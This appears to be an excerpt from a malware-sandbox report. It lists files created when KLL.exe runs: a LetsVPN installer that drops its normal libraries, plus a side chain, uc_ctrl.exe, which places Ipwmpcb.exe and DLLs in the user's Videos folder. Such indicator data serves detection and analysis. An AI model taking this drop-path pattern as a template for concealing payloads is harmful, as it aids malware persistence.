Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\LetsPRO.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Primitives.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\SETC79F.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\it\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\de\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ru\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\tr\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ja\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\pt-BR\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	File created: C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ru\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\fr\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\System.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Handles.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	File created: C:\Windows\System32\drivers\SETD038.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File created: C:\Users\user\Videos\1A95102B~m7\uc_guilib.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\letsvpn-latest.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hans\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\cs\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\ndp462-web.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dll	Jump to dropped file
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File created: C:\Users\user\Videos\1A95102B~m7\msvcp140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-TW\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\es\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\s	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\Update.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-SG\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\uninst.exe	Jump to dropped file
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File created: C:\Users\user\Videos\1A95102B~m7\vcruntime140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\pl\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\vcruntime140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ko\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll	Jump to dropped file
Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	File created: C:\Users\user\Videos\1A95102B~m7\Ipwmpcb.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-CN\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.CodePages.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Primitives.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\driver\tap0901.sys	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.Messages.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	File created: C:\ProgramData\33100\Wo077~m7\msvcp140.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hant\System.Web.Services.Description.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-HK\LetsPRO.resources.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	File created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dll	Jump to dropped file
